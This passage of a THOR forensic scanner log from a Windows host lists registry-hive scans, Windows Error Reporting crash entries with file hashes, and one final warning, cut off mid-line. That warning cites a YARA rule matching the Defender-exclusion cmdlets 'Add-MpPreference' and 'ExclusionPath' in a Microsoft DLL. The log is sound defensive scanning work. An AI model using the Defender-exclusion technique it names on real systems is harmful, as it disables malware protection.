Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxSpeechToTextOverlay_1.21.13002.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxSpeechToTextOverlay_1.21.13002.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_1.24081.89.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ZuneMusic_11.2406.13.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ZuneMusic_11.2406.13.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ZuneVideo_10.22091.10061.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ZuneVideo_10.22091.10061.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.22700.1020.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.22700.1027.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Core_1000.22700.1005.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Core_1000.22700.1007.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.22700.1000.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.22700.1000.0_x64__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.LKG_1000.22621.3880.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.LKG_1000.22621.3880.0_x64__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.WebExperience_524.18500.10.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.WebExperience_524.18500.10.0_x64__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.24062.51.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.24062.51.0_x64__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_1.24062.51.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_1.24062.51.0_x64__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_1.24072.45.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_1.24072.45.0_x64__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.LKG.DesktopSpotlight_1000.22621.4036.0_x64__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.LKG.DesktopSpotlight_1000.22621.4036.0_x64__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\NcsiUwpApp_1000.22621.1.0_neutral_neutral_8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\NcsiUwpApp_1000.22621.1.0_neutral_neutral_8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Windows.PrintDialog_6.2.2.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Windows.PrintDialog_6.2.2.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.22621.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.22621.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\microsoft.windowscommunicationsapps_16005.14326.22041.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.6.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:19 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.6.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WER MESSAGE: Error Report - Found AppCrash SCANID: S-BxzYg1khKSI FILE: E:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_Microsoft.Deskto_b7d0aea52c1e6869998e39f0cc1f65267d8b6251_7ed97ac0_35313cf1-58f0-48d8-b4c6-4b6452187c2d\Report.wer EXE: Microsoft.Deskto DATE: Mon Jul 22 13:13:48 2024 APPPATH: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.17.10691.0_x64__8wekyb3d8bbwe\WindowsPackageManagerServer.exe ERROR: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.17.10691.0_x64__8wekyb3d8bbwe\WindowsPackageManagerServer.exe /  FAULT_IN_MODULE: WindowsPackageManager.dll APP_EXISTS: no
Sep 10 12:21:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WER MESSAGE: Error Report - Found AppCrash SCANID: S-BxzYg1khKSI FILE: E:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_notepad++.exe_b285e353bdbff9396da7c187ce6c5975cc84a5ea_b7b7239a_6dd7ad74-c261-4fd0-b59f-6586eed39a58\Report.wer EXE: notepad++.exe DATE: Tue Sep  3 09:55:50 2024 APPPATH: C:\Program Files\Notepad++\notepad++.exe ERROR: C:\Program Files\Notepad++\notepad++.exe /  FAULT_IN_MODULE: StackHash_0000 APP_EXISTS: yes APP_TYPE: EXE APP_SIZE: 6434840 APP_MD5: 8d111a26333dc3a717ee5a137daad60d APP_SHA1: 8b9c577892061d24b6cfdd27f0adeedac42c878c APP_SHA256: 6726a0bd14448c0f0c508bce5fcb790b066f6c8060eb78afdd57939cd5550c90 APP_FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ APP_CREATED: Sun Sep 25 18:00:46.000 2022 APP_PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:F / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F APP_OWNER: BUILTIN\Administrators APP_COMPANY: Don HO don.h@free.fr APP_DESC: Notepad++ APP_LEGAL_COPYRIGHT: Copyleft 1998-2022 by Don HO APP_PRODUCT: Notepad++ APP_ORIGINAL_NAME: notepad++.exe APP_INTERNAL_NAME: notepad++.exe APP_IMPHASH: c22fa60d159d7f1226e86da3dd42f377
Sep 10 12:21:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WER MESSAGE: Error Report - Found AppHang SCANID: S-BxzYg1khKSI FILE: E:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppHang_Microsoft.YourPh_9b87a5a02123b1b94a8157dd182a53d9e2ac958_b4b74dde_8d0ab5ff-5b28-4861-9746-7549e4ed4406\Report.wer EXE: Microsoft.YourPh DATE: Fri Aug  9 01:37:09 2024 APPPATH: C:\Program Files\WindowsApps\Microsoft.YourPhone_1.24062.101.0_x64__8wekyb3d8bbwe\PhoneExperienceHost.exe ERROR:  /  FAULT_IN_MODULE: 848205583 APP_EXISTS: no
Sep 10 12:21:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WER MESSAGE: Error Report - Found NonCritical SCANID: S-BxzYg1khKSI FILE: E:\ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_10.0.22621.3810_63c25e63e4b3217a326e14121e3254cf1eb6_00000000_f9c2dfce-ea4f-4b5e-9c66-39237dc072c1\Report.wer EXE: 10.0.22621.3810 DATE: Sun Sep  1 03:42:07 2024 APPPATH: C:\Windows\System32\svchost.exe ERROR:  /  FAULT_IN_MODULE: -1658366853 APP_EXISTS: yes APP_TYPE: EXE APP_SIZE: 45488 APP_MD5: d9e224acffd36b1c83e8ee2031ccf349 APP_SHA1: 557185cb2cfc025ba795dfe657b13c1509c290aa APP_SHA256: 82bb0e74c91357fdceaa9bc94ac01448f2a97e0087f7c9d11f08586accd77cf6 APP_FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ APP_CREATED: Sat Jan 21 10:00:53.472 2023 APP_PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F APP_OWNER: NT SERVICE\TrustedInstaller APP_COMPANY: Microsoft Corporation APP_DESC: Host Process for Windows Services APP_LEGAL_COPYRIGHT: © Microsoft Corporation. All rights reserved. APP_PRODUCT: Microsoft® Windows® Operating System APP_ORIGINAL_NAME: svchost.exe.mui APP_INTERNAL_NAME: svchost.exe APP_IMPHASH: ec10f5be711cb724c2d4d18a3c10ad6d
Sep 10 12:21:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WER MESSAGE: Error Report - Found NonCritical SCANID: S-BxzYg1khKSI FILE: E:\ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_10.0.22621.3810_6aa4783fb91ab7d6a9aacf6da3714011c4a791c6_00000000_522de03f-5fe9-4af6-8fdf-2e7467cf64b1\Report.wer EXE: 10.0.22621.3810 DATE: Sun Sep  1 03:42:00 2024 APPPATH: C:\Windows\System32\svchost.exe ERROR:  /  FAULT_IN_MODULE: 1979108502 APP_EXISTS: yes APP_TYPE: EXE APP_SIZE: 45488 APP_MD5: d9e224acffd36b1c83e8ee2031ccf349 APP_SHA1: 557185cb2cfc025ba795dfe657b13c1509c290aa APP_SHA256: 82bb0e74c91357fdceaa9bc94ac01448f2a97e0087f7c9d11f08586accd77cf6 APP_FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ APP_CREATED: Sat Jan 21 10:00:53.472 2023 APP_PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F APP_OWNER: NT SERVICE\TrustedInstaller APP_COMPANY: Microsoft Corporation APP_DESC: Host Process for Windows Services APP_LEGAL_COPYRIGHT: © Microsoft Corporation. All rights reserved. APP_PRODUCT: Microsoft® Windows® Operating System APP_ORIGINAL_NAME: svchost.exe.mui APP_INTERNAL_NAME: svchost.exe APP_IMPHASH: ec10f5be711cb724c2d4d18a3c10ad6d
Sep 10 12:21:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WER MESSAGE: Error Report - Found NonCritical SCANID: S-BxzYg1khKSI FILE: E:\ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_10.0.22621.3810_fb340e7be27e272cc7ad8f4b3d91ceb754137_00000000_b0d91f1a-afa6-4046-b75d-544395da9006\Report.wer EXE: 10.0.22621.3810 DATE: Sun Sep  1 03:42:04 2024 APPPATH: C:\Windows\System32\svchost.exe ERROR:  /  FAULT_IN_MODULE: -1392496575 APP_EXISTS: yes APP_TYPE: EXE APP_SIZE: 45488 APP_MD5: d9e224acffd36b1c83e8ee2031ccf349 APP_SHA1: 557185cb2cfc025ba795dfe657b13c1509c290aa APP_SHA256: 82bb0e74c91357fdceaa9bc94ac01448f2a97e0087f7c9d11f08586accd77cf6 APP_FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ APP_CREATED: Sat Jan 21 10:00:53.472 2023 APP_PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F APP_OWNER: NT SERVICE\TrustedInstaller APP_COMPANY: Microsoft Corporation APP_DESC: Host Process for Windows Services APP_LEGAL_COPYRIGHT: © Microsoft Corporation. All rights reserved. APP_PRODUCT: Microsoft® Windows® Operating System APP_ORIGINAL_NAME: svchost.exe.mui APP_INTERNAL_NAME: svchost.exe APP_IMPHASH: ec10f5be711cb724c2d4d18a3c10ad6d
Sep 10 12:21:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WER MESSAGE: Error Report - Found NonCritical SCANID: S-BxzYg1khKSI FILE: E:\ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Update;ScanForUp_3f57ad8d73825461d646acc362d165523d58389_00000000_fec98177-06a0-4d27-86fc-df5220100ad8\Report.wer EXE: Update;ScanForUp DATE: Tue Aug 27 11:50:01 2024 APPPATH: C:\Windows\System32\svchost.exe ERROR:  /  FAULT_IN_MODULE: 1316730402 APP_EXISTS: yes APP_TYPE: EXE APP_SIZE: 45488 APP_MD5: d9e224acffd36b1c83e8ee2031ccf349 APP_SHA1: 557185cb2cfc025ba795dfe657b13c1509c290aa APP_SHA256: 82bb0e74c91357fdceaa9bc94ac01448f2a97e0087f7c9d11f08586accd77cf6 APP_FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ APP_CREATED: Sat Jan 21 10:00:53.472 2023 APP_PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F APP_OWNER: NT SERVICE\TrustedInstaller APP_COMPANY: Microsoft Corporation APP_DESC: Host Process for Windows Services APP_LEGAL_COPYRIGHT: © Microsoft Corporation. All rights reserved. APP_PRODUCT: Microsoft® Windows® Operating System APP_ORIGINAL_NAME: svchost.exe.mui APP_INTERNAL_NAME: svchost.exe APP_IMPHASH: ec10f5be711cb724c2d4d18a3c10ad6d
Sep 10 12:21:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WER MESSAGE: Error Report - Found NonCritical SCANID: S-BxzYg1khKSI FILE: E:\ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Update;ScanForUp_5a1bc857eb3dc136fe1133180ceaea56385479f_00000000_f9be8c7d-d855-457f-9b83-055d3287bcbf\Report.wer EXE: Update;ScanForUp DATE: Tue Jul 30 02:49:49 2024 APPPATH: C:\Windows\System32\svchost.exe ERROR:  /  FAULT_IN_MODULE: 1330427629 APP_EXISTS: yes APP_TYPE: EXE APP_SIZE: 45488 APP_MD5: d9e224acffd36b1c83e8ee2031ccf349 APP_SHA1: 557185cb2cfc025ba795dfe657b13c1509c290aa APP_SHA256: 82bb0e74c91357fdceaa9bc94ac01448f2a97e0087f7c9d11f08586accd77cf6 APP_FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ APP_CREATED: Sat Jan 21 10:00:53.472 2023 APP_PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F APP_OWNER: NT SERVICE\TrustedInstaller APP_COMPANY: Microsoft Corporation APP_DESC: Host Process for Windows Services APP_LEGAL_COPYRIGHT: © Microsoft Corporation. All rights reserved. APP_PRODUCT: Microsoft® Windows® Operating System APP_ORIGINAL_NAME: svchost.exe.mui APP_INTERNAL_NAME: svchost.exe APP_IMPHASH: ec10f5be711cb724c2d4d18a3c10ad6d
Sep 10 12:21:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WER MESSAGE: Error Report - Found NonCritical SCANID: S-BxzYg1khKSI FILE: E:\ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Update;ScanForUp_63729cb11d8166b214c5fbcf87fc618c1913662_00000000_bbc34794-1bc5-4d8c-98fc-def82c925355\Report.wer EXE: Update;ScanForUp DATE: Tue Aug  6 02:49:43 2024 APPPATH: C:\Windows\System32\svchost.exe ERROR:  /  FAULT_IN_MODULE: 1935972607 APP_EXISTS: yes APP_TYPE: EXE APP_SIZE: 45488 APP_MD5: d9e224acffd36b1c83e8ee2031ccf349 APP_SHA1: 557185cb2cfc025ba795dfe657b13c1509c290aa APP_SHA256: 82bb0e74c91357fdceaa9bc94ac01448f2a97e0087f7c9d11f08586accd77cf6 APP_FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ APP_CREATED: Sat Jan 21 10:00:53.472 2023 APP_PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F APP_OWNER: NT SERVICE\TrustedInstaller APP_COMPANY: Microsoft Corporation APP_DESC: Host Process for Windows Services APP_LEGAL_COPYRIGHT: © Microsoft Corporation. All rights reserved. APP_PRODUCT: Microsoft® Windows® Operating System APP_ORIGINAL_NAME: svchost.exe.mui APP_INTERNAL_NAME: svchost.exe APP_IMPHASH: ec10f5be711cb724c2d4d18a3c10ad6d
Sep 10 12:21:23 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: WER MESSAGE: Error Report - Found NonCritical SCANID: S-BxzYg1khKSI FILE: E:\ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Update;_a0cd26a0eb20dd1cbcc2c1c5e143d6b828581ba_00000000_6eaa9ef8-8381-487f-9af2-36d1f8935262\Report.wer EXE: Update; DATE: Thu Aug  1 02:48:57 2024 APPPATH: C:\Windows\System32\svchost.exe ERROR:  /  FAULT_IN_MODULE: 532732807 APP_EXISTS: yes APP_TYPE: EXE APP_SIZE: 45488 APP_MD5: d9e224acffd36b1c83e8ee2031ccf349 APP_SHA1: 557185cb2cfc025ba795dfe657b13c1509c290aa APP_SHA256: 82bb0e74c91357fdceaa9bc94ac01448f2a97e0087f7c9d11f08586accd77cf6 APP_FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ APP_CREATED: Sat Jan 21 10:00:53.472 2023 APP_PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:R / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:R / NT SERVICE\TrustedInstaller:F APP_OWNER: NT SERVICE\TrustedInstaller APP_COMPANY: Microsoft Corporation APP_DESC: Host Process for Windows Services APP_LEGAL_COPYRIGHT: © Microsoft Corporation. All rights reserved. APP_PRODUCT: Microsoft® Windows® Operating System APP_ORIGINAL_NAME: svchost.exe.mui APP_INTERNAL_NAME: svchost.exe APP_IMPHASH: ec10f5be711cb724c2d4d18a3c10ad6d
Sep 10 12:21:32 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 65 FILE: E:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\ProtectionManagement.dll EXT: .dll TYPE: EXE SIZE: 808216 MD5: 574f44c58e996959a4dc0ec2bbe38ed8 SHA1: 49c481fe3b0a5bba0338f0a868ccafde20a5c824 SHA256: e2e744d0ec17f4a5edf4d70652ecf7cff6e309a346f54f46e8a04b4c406094e0 FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED: Tue Jul 23 02:59:07.744 2024 MODIFIED: Tue Jul 23 02:59:02.094 2024 ACCESSED: Tue Jul 23 02:59:09.182 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:C / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F / NT SERVICE\TrustedInstaller:F OWNER: NT AUTHORITY\SYSTEM COMPANY: Microsoft Corporation DESC: Protection Management WMIv2 Provider LEGAL_COPYRIGHT: © Microsoft Corporation. All rights reserved. PRODUCT: Microsoft® Windows® Operating System ORIGINAL_NAME: ProtectionManagement.dll.mui INTERNAL_NAME: ProtectionManagement IMPHASH: 12ecfd005b591254748953a418743600 REASON_1: YARA rule SUSP_PS1_Cmdlet_Defender_Exclusion_Apr21_1 / Detects PowerShell Cmdlet parameters to define Windows Defender exclusions SUBSCORE_1: 65 REF_1: https://docs.microsoft.com/en-us/powershell/module/defender/?view=windowsserver2019-ps SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "Add-MpPreference" in "e\x00\x00\x00\x00\x00\x00\x00\x00\x00G\x00e\x00t\x00-\x00M\x00p\x00P\x00r\x00e\x00f\x00e\x00r\x00e\x00n\x00c\x00e\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00d\x00d\x00-\x00M\x00p\x00P\x00r\x00e\x00f\x00e\x00r\x00e\x00n\x00c\x00e\x00\x00\x00\x00\x00\x00\x00\x00\x00R\x00e\x00m\x00o\x00v\x00e\x00-\x00M\x00p\x00P\x00r\x00e\x00f\x00e\x00r\x00e\x00n\x00c\x00e\x00\x00\x00U\x00" at 0x962d0 Str2: "ExclusionPath" in 